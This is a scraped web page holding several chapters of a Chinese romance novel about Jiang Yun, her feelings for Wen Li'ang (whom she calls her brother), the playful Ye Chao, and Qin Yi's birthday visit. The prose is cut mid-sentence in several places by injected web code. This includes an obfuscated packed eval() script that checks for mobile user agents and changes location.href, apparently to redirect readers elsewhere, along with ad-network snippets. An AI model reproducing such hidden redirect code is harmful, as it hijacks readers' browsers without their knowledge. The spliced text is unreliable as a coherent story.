不远处叶弨正和冰山哥说话,两人举止很熟稔,看起来是很好的朋友。 两个性格差距那么大的人,是怎么认识的? 她摇了摇头没再往下想,而是回想起刚才的比赛,若要认真追究的话,责任在她。 最后的赛点局,姜筠体力有点没跟上,频频失误,虽然叶弨极力挽回,但还是无济于事,她努力调整状态,但以冰山哥的实力,根本没给她调整的机会,没一会就终结了比赛。 虽然输了,心情却没有变差。 大概是因为很久没有玩得这么尽兴了。 矿泉水放到一旁,姜筠看着叶弨走过来。 “彦树待会还有事,他说欠的那顿饭下周再补上。” “啊?” 显然,陶影并不知道这个消息,上扬的嘴角一下就垂了下来。 陶影的失望写在眼里,情绪低落到了极点,姜筠戳了下她的肩膀,朝她使眼色。 “过去问问啊,人不是还没走吗?” 陶影犹豫了两秒,瞧见许彦树准备离开,她没有更多思考的时间,立刻拿起一旁的背包,边收拾东西边对姜筠说:“那我先走了,手机上联系。” 说完,她晃了下手机,衣服都没换就跟了上去。 “行,快去吧。” 陶影走后,姜筠去了休息室换衣服,等她出来发现叶弨竟然还没走。 他换下了运动服,换回了刚才的黑色T恤和牛仔裤,看起来年纪更小了,像男大学生。 “你拖累了我,不该请我吃顿饭?”叶弨挑了挑眉。 姜筠难以置信地指着自己:“我?” 叶弨煞有其事地点了点头。 十分钟后,两人出现在附近一家越南菜餐厅。 从进门开始她就没把菜单交到对方手里,喊服务员点完菜,又顺便让她把菜单也拿走了。 叶弨看得目瞪口呆。 “你就是这么请人吃饭的?” 姜筠礼貌微笑:“我给钱,我肯定点我爱吃的,你爱吃不吃。” 这是把他当成蹭饭的了。 算了,吃饭也不是重点。 叶弨顺了顺气,问她:“所以,你和你前任是怎么分手的?” 怎么又提起这个人。 姜筠喝水的手一滞,目光望向窗外的高楼。 说实话,直到现在,她都不太愿意想起那个人。 在她简单的生活里,那是一个很难被定义的人,她找不到合适的词语去描述他。 每每想起这个人,她都会想起一双阴鸷的眼睛,分手那天,他就是用这样一双眼睛咬牙切齿地看着她的。 不过幸好,本来就不是一个世界的人,只要他想,这辈子他们都不会再见面了。 “问这个做什么?” “我想了解你。”叶弨盯着她。 姜筠眼珠子转了转,开口:“我劈腿,一下劈了三个,被他发现,他受不了就分手了。” 叶弨咋舌,无辜的狗狗眼瞪得浑圆。 从他的表情来看,似乎是真的信了,姜筠笑了出声。 知道她在耍自己,叶弨反应了过来,有些生气。 “又骗我,姜筠,其实你就是针对我吧。” 这会服务生刚好把红酒送了过来,姜筠往高脚杯里倒了一点。 大概是因为心情畅快,姜筠今天特别想喝酒,喝到微醺,再去江边散散步,对她来说,这就是很完美的一天了。 喝了一点酒,倾诉欲也变多了。 “那我也告诉你一件事吧,让你心里平衡一点,”姜筠打开话匣子,右手撑在脸侧,“我这一个月,被喜欢的人拒绝了两次。” “谁啊?这么没眼光。”叶弨撇嘴,挖苦了句,“我以为你已经够没眼光了,还有人比你更没眼光?” “我怎么就没眼光了?”姜筠笑。 “那天放着我不选,非要选周誉清,还不够没眼光?” 周誉清? 姜筠努力回想这个名字,等她对应起这人的脸,扑哧一声笑了。 他还记着那天的事呢。 “周誉清那种人吧,说好听点是白手起家,不好听就是暴发户,钱倒是有了,气质还没跟上,一看就富不过两代,有点眼光的人都不会选他。” 果然还是男人最懂怎么阴阳男人。 白手起家、事业有成,在他眼里成了“暴发户”,又不是每个人都像他那样天生好命。 叶弨见她没反应,又追问:“所以是谁,让你被拒绝了一次,还能这么上赶着?” 姜筠哽咽了一下,喉咙泛酸。 “一个很好很好的人,没有人比他更好。” 叶弨鄙夷地抿了口红酒,有点不是滋味。 姜筠不知道自己为什么会和他说这些,可这些话不由自主地就说了出口。 “你知道吗,有时候我在网上刷到那种帖子‘在评论区留言回复『接好运』’,明天你喜欢的人就会主动来找你’,我真的会相信,虽然现在想起来挺可笑的,可当时我想,万一有万分之一的可能,真的会实现呢。” 叶弨冷笑了声。 “姜筠,等你老了,不会被人骗光钱去买保健品吧。” 喝了酒,她反应慢了半拍,好一会才笑着点头。 “应该会吧。” 叶弨托着下巴看她,眼神深邃。 “没事,你可以选择和我在一起,先把我的钱骗光。” 在酒精的催化下,这话有点像在调情。 姜筠愣了愣,抬眼看他。 他晃了晃手机,嘴角弯弯。 “怎么样,现在,可以加个微信了?” —— 周末午后的电影院,放映着时下最热门的喜剧片,人群里发出一阵又一阵的爆笑声。 灯光昏暗,室内冷气开得足,左手边的冰饮还在往外冒着水珠,坐在中间的覃仪无法再将注意力放在大荧幕上,时不时就转头悄悄看坐在她旁边的男人。 心跳不自觉加速。 半个小时了,她还在想, 怎么会有人笑起来这么好看。 荧幕幽蓝的光打在他的脸上,如同水族馆玻璃鱼缸里翻涌的海浪倒映在他的脸上,俊美又神秘,他今天没有工作,所以并未戴眼镜,显得鼻梁更挺,正因没戴眼镜,她才能看到他左眼下有一颗很小的痣,有种莫名的性感。 他看得很专心,眼波里流转着笑意,嘴角微微弯起。 整个人散发着难以言说的魅力。 如果他用这样的眼神与她对视,她想大概她的心跳会比现在要快上一百倍。 她不是什么情窦初开的小女孩,也见过不少优秀的异性,在意大利留学那两年,哪怕date过那么多金发碧眼的外国男人,可还是没有谁像他那样,让她这么沉迷,让她在匆匆一眼后就忍不住打探和他有关的消息。 得知他没有女朋友的那刻,她觉得这是今年她听过最好的消息。 每次交谈,她都忍不住观察他的脸,和他走在路上,她享受着路人投来的艳羡的目光。 连虚荣心都得到了极大的满足。 名校毕业,能力出众,风趣又英俊,他们平时交流不多,但她说的每一句话,他都能稳稳接到她的梗,无疑,这是智性恋和颜性恋的天花板。 在这个世界上,竟然还有这么完美的人,契合她所有对未来伴侣的想象,而她此刻就坐在这个人的身边。 想到这,她嘴角止不住上扬。 “怎么了?” 温礼昂似乎察觉到了她的目光,转头微笑问她。 覃仪尴尬地小口喝着饮料,摇头。 “没事。” 温礼昂点头,收回视线。 此时剧情到了另一个高潮,周围又是一阵此起彼伏的哄笑,掩盖了她此刻过于剧烈的心跳,缓了好一会,呼吸趋于平静,她伸手去拿爆米花,却不小心碰到了他放在身侧的手。 指间战栗、发烫,柠檬味的冰饮在口腔里蔓延,酸涩中泛着甜味,正如此刻的心情。 仅是这样的肢体接触,她都心动不已,从没有人让她体会过这样的感觉,她甚至害羞得不敢转头去看他的神情。 气氛似乎变得暧昧,她的手就这么放在腿上,渐渐渗出了一层薄汗,时间一分一秒过去,她一直在等,等他牵自己的手。 可一直到电影结束,旁边的男人还是没有任何动作。 期待落空,电影散场,走出门时,她看了一眼温礼昂。 还是那副温文尔雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518391|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样,仿佛刚才在电影院里的插曲从没发生过,那些暧昧和悸动仿佛只是她一个人的独角戏。 看完电影,温礼昂送她回家,车厢里播放着典雅柔和的冷爵士,Stan Getz的表演令人沉醉。 这个男人连音乐品味都好得出奇。 一路上聊得很好,气氛融洽,到了家楼下,温礼昂和她挥手告别,她仍旧意犹未尽,看着他离开的背影,她忽然有些心急,走上前轻轻扯了下他西服的袖口。 温礼昂回头,眼神里有询问的意味。 对上他的目光,覃仪紧张得舔了舔下嘴唇。 “要不上楼坐坐?” 她声音干涩,发出邀请。 这是他们之间的第五次约会,她没有哪一次像现在这样想要快点推进他们之间的关系。 温礼昂低头望向她拉住袖口的手,愣了一秒,随后温声说道。 “我公司还有些事情。” “那下次?”她急切地说。 温礼昂只是微笑。 覃仪突然觉得这是个不太好的信号,连“下次”这样没有确切时间的邀请,他都没有答应。 她笑得勉强,最后也只能看着他离开。 不知为什么,覃仪觉得自从离开黎城后,温礼昂好像对她没有那么热情了,连轻微的肢体接触都在避免。 晚上十点,轿车停在公寓前。 没有急着下车,温礼昂在车里抽完了一整根烟。 车窗半降,他盯着车顶的挂饰失了神,朝窗外吐了口烟,眼睛半眯,显得疏离又厌世。 此刻的他,很不像别人眼中的温礼昂。 不再亲和,不再彬彬有礼,眉眼间多了戾气,像是厌恶与人接触。 他向来很会隐藏自己,也一直藏得很好。 就像这么久了,姜筠从来不知道他会抽烟。 坐电梯上楼,走进门,他习惯性地望向姜筠的房间,那里仍旧房门紧闭,门口风铃的位置都未曾动过,吵闹的电视没有发出聒噪的声响,冷清得像无人居住的空屋。 今天是他和姜筠失去联系的第十天。 没有微信、没有电话、没有见面,他只能从家人口中知晓她的近况,从这些细碎的信息里拼凑出她的生活。 洗完澡从浴室出来,晚些时候,家里打来了视频电话。 邹淑玢在电话那头和他分享今天发生的事,家里今天来了客人,都是她在话剧院的朋友,人太多了,不知谁离开时没带上门让咪咪跑出去了,急得她团团转,幸好最后在楼下的花圃里找到了。 镜头里脏兮兮的小猫,瞪着无辜的大眼睛。 知道她在自责,他开起玩笑,笑道:“怎么身上灰扑扑的,变成小流浪汉了。” “哎,别说了,幸好找到了,不然筠筠一会回来得急死,明天一早我就带它去宠物医院看看,顺便给它洗个澡。” 墙上的时钟指向十点半,温礼昂皱了皱眉。 他停顿了两秒,不经意地问:“小筠不在家?” “下午就出去了,现在还没回来呢,最近三天两头就出去,打扮得漂漂亮亮的,看来是真的有情况了,”说到这,邹淑玢语气变得雀跃,“我在楼上悄悄看了,都是同一个男生送她回来的。” 温礼昂没说话,揉了揉眉心走到阳台,住得太高,往下俯瞰时,颇为荒诞且危险的念头钻入大脑。 “阿礼?” 太久没说话,邹淑玢喊了他一声。 他像是才回过神来,笑着说。 “嗯,挺好。” 简单两字揭过了这个话题。 但邹淑玢还在继续往下说:“我前几天问她什么时候去北城,她说不着急,在要家多待会呢,真是转性了,以前在家一会都待不住的,总说想你了,要去找你。” 温礼昂没说话,眼睛瞥向阳台上姜筠养的盆栽,长出了新叶,他想,她还没看到呢。 时间不早,邹淑玢说:“那不打扰你了,早点休息,别工作那么晚,身体最重要。” “嗯,知道的,别担心。” 挂了电话,温礼昂还在阳台站了一会,视线落在窗台的盆栽上,可脑海中想起的却是那个模糊的男人的身影。 月光下,那个男人为她拉开车门。 夜色浓重,姜筠对着他笑。 似乎笑得很开心。 8.第八章 车厢里音乐声轻缓,冷气很足,姜筠盖着薄毯睡得迷迷糊糊,头不自觉地往右边的枕头靠了下,恍惚间几乎忘了自己还在车上。 快要睡着,突然车身颠簸了一下,紧接着尖锐的刹车声响起,她吓了一跳,猛然惊醒,睁开眼睛。 窗外,前方路况很好,什么事都没发生。 姜筠不解皱眉。 正疑惑,发现叶弨正从后视镜里看她,眼底含笑。 “醒了?”叶弨声音里还带着笑意。 姜筠深呼吸了一口气平复心情,倒视镜里这无辜的狗狗眼现在看起来有些可恶。 “你故意的。” 她用的是肯定句。 “我可没有,”叶弨耸肩否认,“刚才有个小狗跑到路中间,我避了一下。” 顺着他的视线看去,路边还真的有个小狗狗。 也不知道他说的是真的,还是随口编的。 一切无从证实。 也只能当真了。 姜筠没理会,又闭上眼睛假寐。 叶弨觉得没劲极了。 “怎么,还真当我是司机了?一上车就睡到现在。”叶弨见她又要睡觉,这下不乐意了。 不坐副驾驶座就算了,一上车就睡觉,他什么时候试过被人这样使唤。 他这张脸就这么乏味,让人看了就昏昏欲睡? 姜筠像是猜到了他此刻的想法,嘴角弯了弯。 不知道为什么,每次看到叶弨生气,她心情都会变好,所以她总忍不住想捉弄他。 陶影上回听完她的描述,用了两个字精辟总结——“逗狗”。 显然,叶弨就是那个狗。 那天和叶弨加了微信后,两人又见了几次,她枯燥重复的生活难得多了些乐子,尤其是陶影最近忙着追冰山,没空搭理她,反倒是叶弨天天给她发消息。 她才知道原来叶弨是北城本地人,只是假期来黎城度假。 他和许彦树是大学同学,因为许彦树老家在这里,所以他顺便过来看看。 今天她本来买好了去北城的高铁票,去到高铁站发现他竟然开着车在高铁站门外等她。 最后她把票退了,上了他的车。 “都睡两个小时了,你就不能和我说说话?”叶弨看向后视镜,语气极为不满。 “不能。”姜筠睁开眼,却也只是望向窗外。 叶弨被噎住了。 这人还真是一点都不客气。 “司机和乘客之间也可以有交流的吧。” 看到他自贬为司机,姜筠还是忍不住笑了。 她语气有所软化:“专心开车,有什么下车再说。” “……行。” 叶弨想,反正还有一个小时就到了,也不差这一会。 他也觉得自己邪了门了,竟然就这么给她当司机了。 还是上赶着,任劳任怨那种。 知道她今天要回北城,他一大早就在高铁站等着。 她没磨叽上了车,不过坐的是后排,只是没一会他微信响了一下,她微信给他转了261.5块。 靠,还是二等座的价。 这是把他当司机了,还是价格最便宜的那种网约车,连专车都不是。 胡思乱想了一通,到了红绿灯路口,他又忍不住看了眼后视镜里姜筠的脸,确实长得漂亮。 不仅漂亮,身上的气质太拿人了,那双眼睛像猫又像狐狸,让人琢磨不透。 他还没交往过这一款的。 谈不上是喜欢,他觉得更多的是好奇,还有征服的欲望,反正现在闲着也是闲着,他不介意多花点时间哄哄。 下高速,到了北城,叶弨问她:“所以你住哪?” 姜筠说了个地址。 叶弨意外,他没想到她住的竟然还是这附近最贵的地段,以及最贵的小区。 但她身上除了脖子上那条项链没有任何名贵的装饰品,而且那项链也是好几年前的款式了。 果然让人猜不透。 轿车停在公寓楼下,叶弨打开后备箱,帮她把行李拿出来。 “这天好热,晒得人口干舌燥的,”他装模作样看了眼太阳,问,“我能不能上去坐一会?等太阳下山了就走。” 姜筠面不改色地拒绝:“不能。” 她望向不远处的便利店,挑了挑眉,示意他要是热可以去便利店里面坐,那里有冷气。 真是狠心。 利用完就扔。 他只好让步:“那我帮你把行李拿到门口,不进去,总可以了?” 姜筠思考了一下。 “行。” 有免费的劳力,不用白不用。 叶弨就这么乖乖地拿着行李上楼。 电梯停在十五楼,她没等叶弨,先一步走了出去,站在公寓门前,姜筠深呼吸了一口气。 现在是下午六点半,温礼昂还没下班,可即便他不在,踏进这个房子她仍会感到紧张。 正要输入密码,没想到门竟然从里面打开了。 她的心咯噔了一下。 下一秒,温礼昂的脸出现在门后。 目光相撞。 他身上穿着蓝白色的居家服,额前的头发自然垂落在眼睑,哪怕是这样的衣服,还是没有消减他身上清俊的气质。 他似乎并不知道她今天会回来,望向她的眼神除了意外,还有—— 如果眼神不能骗人的话,从他的眼神里,她竟然觉得此刻的温礼昂是惊喜的。 惊喜。 所以,他也希望看到她吗? 他也会想她吗? 姜筠很不争气地又鼻酸了。 她不知道温礼昂这些天是怎么过来的,她只知道她想见他想得快疯了,她每天都在控制自己不去想他,每天都要劝诫自己忘记这个人,如同身体的戒断反应,她每次觉得自己快要想通了,快要不喜欢他了,但一觉醒来,什么都没用。 这半个月,她把床头两人的合照看了一遍又一遍。 “阿礼,是不是蛋糕来了?” 突兀的女声打断了她此刻的遐想,姜筠直直地愣在那,反应了好一会。 空气被冻结,血液在急速冷却,姜筠手心渗出了冷汗,她望向客厅里正坐在沙发上看电影的覃仪,她怀里搂着的小猪抱枕,还是她买的。 姜筠攥紧了手心,指甲嵌入肉里,她往后退了一步,温礼昂似乎有话想说跟着走了出门,只是下一秒他脚步顿住,因为与此同时,他也看到了姜筠身后的男人。 狭长的眼睛上挑,他推了下镜框,目光落在男人手里推着的行李箱。 他认出来,那是姜筠的。 这个男人一手帮姜筠推行李箱,一手帮她拿包,看起来关系匪浅。 瞧见对方在打量自己,叶弨也迎上对方的目光,许是出自男人的直觉以及嫉妒心,他发自本能地不喜欢这个人。 原因也很简单,他让自己感受到了威胁。 这人比他还要高上几厘米,他需要稍稍仰头才能与那人对视,这让他在气势上就输了一大截,他戴着副金丝眼镜,精英模样,宽肩窄腰,身材有明显的锻炼痕迹,和周誉清给人的暴发户气质不同,眼前的男人有种天然的上位者的姿态,眼神沉静又不失锋芒。 想起姜筠曾告诉过他“她这一个月内被喜欢的人拒绝了两次”,他只能联想到这个人身上。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 再看向温礼昂时,眼神里除了嫉妒,还多了敌意。 但很快,姜筠打消了他的疑虑。 “这是我哥,温礼昂。” 她给他介绍,重音落在称呼上。 叶弨听见不自觉松了一口气,望向温礼昂的眼神都变了,狗狗眼里满是笑意,开始释放出友好的信号。 他热情地跟着姜筠喊,语气熟稔得像是旧友见面:“哥,我来给姜筠拿行李箱的,箱子太重了,她一个人拿不来。” 温礼昂没什么表情,点头,嗯了一声。 叶弨正要兑现承诺离开,姜筠又扯了下他的袖子,发出邀请。 “不是口渴了吗,进来坐会?” “可、可以吗?”叶弨以为她在捉弄自己,语气不太确定。 “当然。”姜筠点头。 姜筠领着叶弨进门,温礼昂还站在门中间,似乎没有要让开的意思。 猜不透他此刻的想法,姜筠也懒得去猜。 她仰头问:“哥是不欢迎我的朋友吗?” 短暂的沉默让气氛更加焦灼,时间的流速仿佛都变慢了些,不过很快温礼昂神色恢复如初,笑容温润儒雅。 他侧身:“当然欢迎。” 说完,顺带从叶弨手里把姜筠的行李箱接了过来。 站在玄关前,叶弨问姜筠:“要换鞋吗?” 刚问完他就看向鞋架,发现自己问了句废话。 这里根本没有多余的男式居家拖鞋。 看来她家里不常来客人,尤其是异性。 “不用换了。”姜筠摇头。 “哦。” 叶弨跟在姜筠身后走了进门,走到客厅,他这才看到沙发上还有人,打量了两眼,随后转过头问姜筠:“这位是?” 覃仪见姜筠还带了男性朋友过来,眼睛亮了亮,和温礼昂调侃起来。 “那天筠筠穿那么漂亮就是去见他吧,”覃仪从沙发起身,热情地和姜筠打招呼,“这几天我一直问你哥你什么时候来呢,那天见面太匆忙了,都没和你好好聊会。” 说着,她走到冰箱前给她和叶弨拿冰饮。 就像女主人一样。 “你哥说你爱喝这个柠檬汁,刚才我们去逛超市,又买了好多,没想到刚好你今天就回来了,真巧啊,我本来还担心会过期呢,现在看来买得正正好,”覃仪笑得很甜,把饮料递给她,“来的路上堵不堵,你哥送我回北城那天堵得特别厉害,我们在盐江那段路塞了快两个小时。” 姜筠木讷地接过果汁,勉强挤了个笑容:“今天路况挺好的,没怎么堵车。” “那还不是我技术好,避开了堵塞的路段,”叶弨立刻和她邀功,走到她旁边,两人肩膀挨着肩膀,超过了一般的社交距离,“你一上车就睡着了,当然不知道我有多辛苦……你怎么还瞪我?行行行,我不说了。” 两人玩闹的语气很熟稔,姜筠一抬头,发现温礼昂正看着她,狭长的双眼情绪翻涌,阴霾蔓延,可只有短短一秒,那眼睛里又恢复了笑意。 叶弨还在好奇追问:“所以,这位是?” 他望向覃仪。 姜筠终于想起回复叶弨的问题。 她喉咙干涩,给他介绍:“我哥女朋友,漂亮吧。” 说出这几个字时,心脏如针刺般疼痛,手臂的毛细血管下似乎有细密的血珠渗出,可一眨眼,又什么都没有。 听见她的话,覃仪脸颊泛起红晕,害羞地望向一旁的温礼昂,眼神里隐有期待。 姜筠也望向了温礼昂,指甲刺进了肉里。 沉默对视的这几秒,姜筠想的是,他没有否认。 果然,他又恋爱了。 9.第九章 叶弨丝毫没有察觉到此刻诡异的气氛,拉长尾音,开起了玩笑。 “确实很漂亮,和你哥很般配,不过——” “不过什么?”覃仪紧张地看向他。 “不过比起我和姜筠,还是差了点。” 说完,他对姜筠眨了眨眼,试探性地去牵她的手。 姜筠扑哧笑了出声,一下忘了挣开他。 这个并不好笑的玩笑冲淡了此刻心里的酸涩。 她忽然觉得有他在也好,她不能想象今天如果只有她一个人要怎么面对这么残酷的场面。 哪怕在心里预演了无数遍,她还是缺乏勇气。 这边覃仪被叶弨的话噎到,半开玩笑地说:“我倒觉得你不怎么配得上我们筠筠呢,我们筠筠这么优秀。” 显然,叶弨没当真,朝姜筠靠近了些,望向她的狗狗眼里闪着光:“我的好,姜筠看得到就行。” 浓情蜜意的。 乍一看,确实很像热恋期的小情侣。 覃仪竟有些羡慕,至少他们看起来比她和温礼昂要亲昵。 从头到尾,温礼昂都没有开口,不知道在想什么。 她碰了下他的指尖。 竟是冷的。 没人招呼,叶弨自来熟地在沙发坐下,顺手帮姜筠打开饮料的瓶盖。 啪嗒一声,瓶盖打开,饮料递过去,他咳嗽了两声,不经意地说:“附近好像有个超市。” 姜筠在发呆,应了声:“哦,怎么了?” “待会一起去逛逛?” “你要买什么?”姜筠抿了一口饮料。 叶弨嘴角上扬:“以后不得经常过来吗,我得给自己备双拖鞋在这,总不能每次都穿鞋进来,多不方便。” 叶弨想,他姿态放得够低了,他甚至都不敢要求姜筠去给他买。 柠檬冰饮酸涩的味道在口腔里蔓延,姜筠愣了愣,不知该作何回应,再抬起头,对上的却是温礼昂投过来的目光。 金丝眼镜下眼神深邃,紧抿的薄唇没有泄露任何情绪,他似乎只是很平静地看着她,连一丝一毫多余的情绪都没有。 他好像一点都不在意。 不在意她有没有男朋友,也不在意她和谁在一起。 叶弨却当姜筠同意了,随口问道:“对了,你姓姜,怎么你哥姓温?你们一个随母姓,一个随父姓?” 他身边也有朋友是这样的,说起来也不奇怪,不过…… 叶弨抬头打量着两人的长相,但姜筠和温礼昂长得不怎么像就是了。 姜筠还来不及解释,门铃就响了,温礼昂去开门。 等到温礼昂捧着蛋糕走进来,姜筠才知道原来今天是覃仪的生日。 所以,他是为了给覃仪过生日,才提前下班回家了吗? “这蛋糕好漂亮,谢谢。”覃仪看上去十分惊喜。 喉咙开始泛酸,姜筠却没有表现出任何异样,笑着送上祝福:“生日快乐,我不知道今天是你生日都没有准备礼物。” “没关系呀,你和阿礼能陪我过生日就已经很开心了。” 覃仪频频望向温礼昂,眼里是溢出来的喜欢。 姜筠眼眶发热,她知道能和喜欢的人在一起过生日,是多幸福的一件事。 她也曾有过这么幸福的时刻。 窗外夜色渐浓,屋里关了灯,陷入一片黑暗,只有蜡烛的光摇曳,蛋糕摆放在最中间,覃仪闭上眼睛许愿,大家唱起生日歌,温礼昂看向正在许愿的覃仪,姜筠却望向了温礼昂。 蜡烛的光映在他的脸,眉眼都变得柔和,嘴角挂着淡淡的笑,以往的每一年,她闭上眼睛许愿时,他也是用这样的眼神看着自己吗? 其实一直以来,她对温礼昂的女朋友都没有敌意,更多的是羡慕。 她羡慕她们能被他全心全意地爱着,能和他牵着手一起散步,被他在朋友面前介绍“这是我女朋友”。 吹灭蜡烛,姜筠眼里的光也尽数熄灭,灯光亮起来,她所有情绪都无处遁形,那些阴暗的想法暴露无遗,生怕在覃仪和叶弨面前露出异样,她正要找借口离开,但这会覃仪却把手机递给了她。 “筠筠,你可以帮我拍个照吗?” 说完,覃仪看向温礼昂。 姜筠读懂了她的意思,点头,弯起眼睛笑,露出公式化的笑容:“好呀。” 她接过覃仪递过来的手机。 覃仪头上戴着生日皇冠,双手捧着蛋糕,身体往温礼昂那边倾斜,笑容明媚,温礼昂比她高了将近二十厘米,看上去她像是靠在他的肩膀。 美好的画面,可以用赏心悦目来形容。 很多回忆在重叠,这样的事情,似乎不是第一次做了。 她应该有经验才对的,怎么还是那么想哭呢。 要多久才能习惯,才能麻木地接受这一切。 手机对焦在两人的脸,只是姜筠却看到了身后那面墙上她和温礼昂的合照。 照片里两人都穿着梨城中学的校服,温礼昂的手虚搭在她肩膀处,她踮起脚对着镜头做了个鬼脸。 那年她高二,温礼昂已经高三,温礼昂一模拿了年级第一,虽然年级第一对温礼昂来说是家常便饭,但这回不仅是市里总分第一,而且还有五门单科第一,老师都恨不得拿个大喇叭到处吆喝,姜筠觉得自己也沾了光,嘚瑟得不行,非要温礼昂配合她拍这张照片炫耀一番。 这合照是搬来新家后她挂上去的,大概温礼昂永远都不知道她在那张照片的背面写了什么。 覃仪正对着镜头甜甜地笑,姜筠指向靠近阳台的方向:“要不在这里拍吧,那里光太暗了。” “好。” 换了个背景,姜筠找好构图,很快就按下快门。 她拍了不止一张,想着总会有覃仪喜欢的。 手机递了回去。 手指在屏幕左右滑动,覃仪看到成片满意得不行,止不住地夸:“每一张都好好看,只用手机都拍得这么好,不愧是专业的。” “是你长得好看,所以怎么拍都好看。”姜筠说的是实话。 这聊天太乏味了,叶弨捏了下姜筠的手臂:“我们下去逛逛?就不打扰你哥和你未来嫂子了。” 她正愁找不到借口,没想到叶弨主动提出,她当即应下,对温礼昂说:“那哥,我下去散会步。” 温礼昂不知什么时候把眼镜摘了下来,眉眼锋利了不少。 他说:“先吃完蛋糕。” 并不是商量的语气,相反,语气有些强硬,连覃仪都愣了愣。 这些天以来,她还是第一次听到他用这样的语气说话。 姜筠本就叛逆,他越不让她做什么,她偏要做。 更何况是现在的场景。 “你们吃吧,我不饿。” 她没等温礼昂回答,转身和叶弨走了出门。 说是走,其实用“逃跑”一词更加合适。 室内是一个快要爆炸的巨大鱼缸,她要赶在爆炸之前赶紧逃离现场。 没有回头看温礼昂的表情,咔哒一声,姜筠拉上门,靠在门背,重重地呼了一口气。 叶弨觉得奇怪:“怎么了?” 姜筠摇头,勉强弯了弯嘴角。 没事, 只是她觉得自己终于活过来了。 门紧闭着,室内又变得安静,温礼昂揉了揉眉心,又扯松了领带。 虽然他什么都没说,但覃仪好像感知到了他情绪上的波动。 他似乎有些烦闷。 其实,这些天她的情绪也一直被他影响着,回到北城后,她和温礼昂一直保持着不咸不淡的关系,上次看完电影后,她主动约他见面,他都没有应下。 甚至微信上聊天也仅是和普通朋友一样,客气,礼貌,生疏。 她第一次觉得自己看不懂男人。 她不确定温礼昂是怎么想的,但她可以确定的是,她很想见他。 朋友说她生日这天是一个很好的突破口,果然,她以生日为理由去约他见面,他没有拒绝。 没一会,温礼昂就约好了餐厅,发了定位过来。 “不过我八点还有个视频会议,可能七点就要离开了。” 五点到七点,他们只有两个小时见面的时间,他们已经快两个星期没见面了,覃仪有些失落,情绪掉至低谷,忽然又想到了解决方法。 “那吃完饭去你家里看会电影?上次你推荐的那部电影我还没看完呢。” “但——” 温礼昂正要拒绝,覃仪连忙说: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “没关系,我可以在客厅呆着,不耽误你工作,我在北城没有什么朋友,生日我不想一个人呆着。” 她的好感已经表现得相当明显,她不相信他没有察觉。 过了一会,温礼昂终于应了一声。 “嗯。” 这是她第一次去他家,她认为这是很好的信号,她觉得她和他之间的距离似乎没有那么远了,但更让她惊喜的是,在姜筠说她是他女朋友时,他竟然没有否认。 这意味着什么,她很清楚。 姜筠走后,客厅就只剩下她和温礼昂两个人。 暂停的电影恢复了播放,两人坐在沙发看刚才那场还没看完的电影,覃仪的手臂贴着他的衬衫,距离很近,氛围很暧昧,起码在覃仪看来是这样。 “谢谢你今天抽空陪我过生日,我今天特别特别开心,可能你比较慢热,但没关系,我很主动的。” 覃仪转过头看他,大胆地表达自己的喜欢,虽然她知道女生先表白不太好,但她真的很喜欢眼前的男人,所以她一刻都不想等了,她不觉得自己掉价,也不担心自己会被温礼昂看轻,相反,她觉得自己很勇敢。 温礼昂好像听懂了她的言外之意,但他的眼神很冷静,不带一丝情感,覃仪忽然有点害怕。 她害怕从他口中说出的答案。 果然,他沉默了几秒,面无表情地开口:“我不慢热。” 覃仪愣住。 “以及,刚才我妹妹说的话,你不用当真。” 屋里的冷气好像骤然变低,因为覃仪竟觉得有些冷,停顿的这几秒,她眼里的光悉数黯淡。 她意识到,温礼昂口中的“不用当真”指的是姜筠说的“她是我哥的女朋友”那一句。 刚才他没有当场否认,只是为了避免她尴尬,仅此而已。 — 接近十点,姜筠才从外面回来。 她走进门那会,温礼昂还没有休息,他穿着睡衣坐在客厅的沙发,手里捧着一本书,是阿兰·巴迪欧的《追寻消失的真实》,书页翻到中间,像是已经看了好一会了。 她拎着两个大大的超市购物袋走到客厅,温礼昂没有抬眼看她,她自然也不会主动和他打招呼。 她只当他不存在。 抱着这种想法,她旁若无人地走到冰箱前,打算把刚才买的东西放进去。 在楼下散完步后,她和叶弨在超市里逛了好一会,他拼命往购物车里扔东西,好像不用钱似的,什么都往里塞。 当他把好几瓶西梅汁也扔进来的时候,姜筠终于忍不住了。 “我不爱喝这个。” 说完,她把这又酸又甜的饮料从里面拿出来,叶弨却按住了她的手。 “我爱喝啊,我买给我自己喝的,先放在你家冰箱,下次来我把它解决了。” 姜筠疑惑了。 “我有说过你下次还可以来我家吗?” “没有,”叶弨应得倒是快,眼里闪着光,“但我想来。” 姜筠正色:“你觉得我欢迎你吗?” 叶弨笑得很欢:“肯定啊,我这么招人喜欢。” 真是厚脸皮。 想起这事,姜筠忍不住笑了,一边打开冰箱把饮料摆进去。 忽然,温礼昂的声音在客厅响起。 他像是才留意到放下书,问她:“回来了?” “嗯。”她不耐烦地应了声。 “买了什么?” 姜筠没说话,温礼昂却走了过来,高大的身影笼罩着她,沐浴露的香气环绕在周围。 姜筠仍旧不慌不忙地摆放着东西,温礼昂看向购物袋,又看向姜筠右手掌心,刚才她进门时,是右手提着的购物袋。 右手掌心处没有被重物勒出的红痕,看来那个男人送她到门口才离开。 温礼昂不动声色地收回视线,拿起购物袋里的牛奶、三明治,把它放进冰箱。 全程姜筠都没有和他说话。 两个购物袋,一个放着的是食物,另一个购物袋放着的是生活用品。 他看见里面有牙膏、沐浴露和洗衣液。 正要走过去帮她收拾,只是突然,他视线停顿了一秒。 他看到购物袋里装着一双拖鞋。 男士的。 10.第十章 冰箱里,牛奶和西梅汁摆放整齐,几乎成一条直线,比超市里放得还要规整。 